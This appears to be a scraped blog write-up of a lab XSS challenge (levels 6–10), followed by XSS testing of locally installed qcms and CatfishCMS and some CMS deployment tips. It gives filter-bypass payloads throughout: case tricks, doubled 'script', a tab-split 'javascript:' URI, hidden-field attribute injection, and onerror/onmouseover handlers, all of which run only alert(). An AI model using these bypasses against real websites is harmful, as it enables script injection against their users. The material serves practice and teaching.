0x01 xss challenge level 6-10

1.1 level 6

test with typical, notice the script has changed

change script to 'Script', and enclose double quote, bingo

http://n00p.me/xss/level6.php?keyword="><sCript>alert(1)</script> <" &submit

1.2 level 7

test with typical

after these not worked: script to 'Script';

finally, double write script to scrscriptipt, and enclose double quote, bingo:

http://n00p.me/xss/level7.php?keyword="><scrscriptipt>alert(1)</scrscriptipt><"&submit

1.3 level 8

try1, test typical, find two exp-point

try2, enclose the quote

http://n00p.me/xss/level6.php?keyword=<script>alert(1)</script> &submit

as source code , guess htmlspecialchars was used

<input name=keyword  value="&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;&quot;     ">

try3, move target to next exp-point

http://n00p.me/xss/level8.php?keyword=javascript:alert(1) &submit

http://n00p.me/xss/level8.php?keyword=javaScript:alert(1) &submit

http://n00p.me/xss/level8.php?keyword=javas cript:alert(1) &submit(blank is char-tab, if type this in address bar or hack bar, tab will be chopped. it's concluded by burp suite )

each result:

<a href="javascr_ipt:alert(1)     ">友情链接</a>
<a href="javascr_ipt:alert(1) ">友情链接</a>
<a href="javascr_ipt:alert(1) ">友情链接</a>

try4, consider type tab in inputbox ,bingo(intercept by burp, notice char-tab in input box was url-encoded, this differs from address bars, now we can use %09 in address bar to achieve real tab like input-box )

1.4 level 9

try1, use typical as previous, and find this:

<a href="您的链接不合法?有没有!">友情链接</a>

try2, try a valid-like link, works fine

http://n00p.me/xss/level9.php?keyword=http://n00p.me&submit

<a href="http://n00p.me">友情链接</a>

try3, after a few test, http:// is the core string that must include in payload, or it will throw try1, so we just include this string, as level 8, bingo

http://n00p.me/xss/level9.php?keyword=javas%09cript:alert('http://') &submit

1.5 level 10

try1, use typical, and found exp-like in burp's response:

<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2>

try2, from try1, predefined characters(less than sign< and greater than sign>) has been converted to HTML entities(<>), does it means that we could do nothing about this? Focus the rest html code and notice these:

<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>

try3, there is a form including 3 input tags in it. The form method is not defined but default to GET. It means that we can directly build url instead of change html element to detect form exp-points. Build url like this and check is there anything to exploit:

http://n00p.me/xss/level10.php?keyword=aaa&t_link=bbb&t_history=ccc&t_sort=ddd

try4, dada! after we enter the payload above, we found exp-like in response html as below:

<form id="search">
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="ddd" type="hidden">
</form>

try5, enclose the t_sort input, bingo:

http://n00p.me/xss/level10.php?keyword=aaa&t_link=bbb&t_history=ccc&t_sort=d" onclick=alert(1) type="text

why the input use text type instead of hidden type? Explaination see referer link:

What happens in practice is that the latter attribute is ignored

Notice that it is reverse to css selector .

But both duplicate attribute and duplicate css selector are not recommended in production enviroment!

0x02 qcms

2.1 switch php version to 5.2

2.2 bind the site root to 8080 port

2.3 type http://n00p.me:8080 in adress bar, input db-config-info, install, after complete, find 留言 page:

2.4 try typical in textbox, bingo!

0x03 CatfishCMS

3.1 switch php version to 5.5

3.2 open http://n00p.me/catfish, install, register an account, login and click one post, find "留言" as below:



3.3 use typical and submit, notice response that maybe used htmlspecialchars() in php code :

<p><p>&lt;script&gt;alert(1)&lt;/script&gt;</p></p>

3.4 pull out burp and detect exp-point, find this:

pinglun=%3Cp%3E%26lt%3Bscript%26gt%3Balert(1)%26lt%3B%2Fscript%26gt%3B%3C%2Fp%3E

apparently, it has been url encoded, decode it:

pinglun=<p>&lt;script&gt;alert(1)&lt;/script&gt;</p>

the code has been converted before send to server, what about change it to its raw face like below?

pinglun=<p><script>alert(1)</script></p>

forwarded above, comment was succeed to post but nothing was leaved in comment content part. Guess server has filtered script string, use below payload instead, bingo:

pinglun=<p><script>alert(1)</script></p>

3.5 alternative payloads

  • pinglun=<img src=x onerror=alert(1)>
  • pinglun=<p onmouseover=alert(12121212)>aa</p>

0x04 summary about cms sites depolyment

  1. reading cms-followed doc is essential, it has valued info to deploy OK
  2. if install-like.page report errors, try change php version
  3. some cms restricts path to www dir, use phpstudy sites_domain_control option can handle this
  4. to deploy a cms site is not difficult, just need some patient and it will work properly

xss part2的更多相关文章

  1. 漏洞科普:对于XSS和CSRF你究竟了解多少

    转自:http://www.freebuf.com/articles/web/39234.html 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广 ...

  2. 利用窗口引用漏洞和XSS漏洞实现浏览器劫持

    ==Ph4nt0m Security Team==                        Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...

  3. 网络XSS攻击和CSRF攻击原理及防范

    网络XSS攻击和CSRF攻击原理及防范 原文地址:http://www.freebuf.com/articles/web/39234.html 随着Web2.0.社交网络.微博等等一系列新型的互联网产 ...

  4. 转:XSS和CSRF原理及防范

    原文地址:http://www.freebuf.com/articles/web/39234.html 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来 ...

  5. WEB安全----XSS和CSRF

    随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵 ...

  6. 防御XSS攻击-encode用户输入内容的重要性

    一.开场先科普下XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶 ...

  7. XSS

    XSS的含义 XSS(Cross Site Scripting)即跨站脚本.跨站的主要内容是在脚本上. 跨站脚本 跨站脚本的跨,体现了浏览器的特性,可以跨域.所以也就给远程代码或者第三方域上的代码提供 ...

  8. 【XSS】延长 XSS 生命期

    XSS 的本质仍是一段脚本.和其他文档元素一样,页面关了一切都销毁.除非能将脚本蔓延到页面以外的地方,那样才能获得更长的生命力. 庆幸的是,从 DOM 诞生的那一天起,就已为我们准备了这个特殊的功能, ...

  9. 探索ASP.NET MVC5系列之~~~2.视图篇(上)---包含XSS防御和异步分部视图的处理

    其实任何资料里面的任何知识点都无所谓,都是不重要的,重要的是学习方法,自行摸索的过程(不妥之处欢迎指正) 汇总:http://www.cnblogs.com/dunitian/p/4822808.ht ...

随机推荐

  1. Mysql5.6.45配置安装

    ##1.1简介 因为之前电脑比较卡,自己重装了个系统,麻烦的就是装一些编程软件,但是自己吃饭的家伙也要会装啊,为了以后更方便的安装,自己总结一下步骤,进入正题 ##1.2资源下载 官方网站链接:    ...

  2. Linux 常用高效操作

    空行处理 linux系统下删除空行,用vim底行模式'%s/^n$//g' 可以删除空行并真正修改文件,但文件数量太大时耗时不可预估,于是操作文件删除空行并重定向到一个新的文件是不错的选择. 常用特殊 ...

  3. 数据集成、变换、归约及相关MATLAB工具箱函数

    数据预处理的主要内容包括数据清洗.数据集成.数据变换和数据规约,在数据挖掘的过程中,数据预处理工作量占到了整个过程的60%.数据清洗在上一篇博客中写过,这里主要写后面三部分. 数据集成 数据挖掘需要的 ...

  4. 跨服务器执行SQL

    --exec sp_helpserver 可以以存储过程形式执行以下: --1.1 创建登录信息(或叫创建链接服务器登录名映射)(只需选择一种方式) --1.1.1 以windows认证的方式登录 / ...

  5. Go语言中defer语句使用小结

    defer是Go语言中的延迟执行语句,用来添加函数结束时执行的代码,常用于释放某些已分配的资源.关闭数据库连接.断开socket连接.解锁一个加锁的资源.Go语言机制担保一定会执行defer语句中的代 ...

  6. 2019-10-17 李宗盛 spss作业

    开放数据库连接是为解决异构数据库之间的数据共享而产生的,现已成为Wosa cwindows开放系统体系结构主要部分和基于Windows环境的一种数据库访问接口标准ODBS被异构数据库访问提供统一接口, ...

  7. 最新 鹏博士java校招面经 (含整理过的面试题大全)

    从6月到10月,经过4个月努力和坚持,自己有幸拿到了网易雷火.京东.去哪儿.鹏博士等10家互联网公司的校招Offer,因为某些自身原因最终选择了鹏博士.6.7月主要是做系统复习.项目复盘.LeetCo ...

  8. TP5 生成数据库字段 和 路由 缓存来提升性能

    关于使用tp5框架如何提升部分性能,框架中很多影响性能的问题在于,很多请求都要重新加载,如果能避免过度加载的问题,就能提升部分性能,所以我们通过缓存来实现这一功能,具体如下. 首先说明 如果是linu ...

  9. 学习笔记:CentOS7学习之十八:Linux系统启动原理及故障排除

    目录 学习笔记:CentOS7学习之十八:Linux系统启动原理及故障排除 18.1 centos6系统启动过程及相关配置文件 18.1.1 centos6系统启动过程 18.1.2 centos6启 ...

  10. [转帖]NTLM说明

    [思路/技术]Windows认证 | 网络认证     来源:https://bbs.ichunqiu.com/thread-53598-1-1.html   圣乱X无心i春秋-核心白帽 发表于 5  ...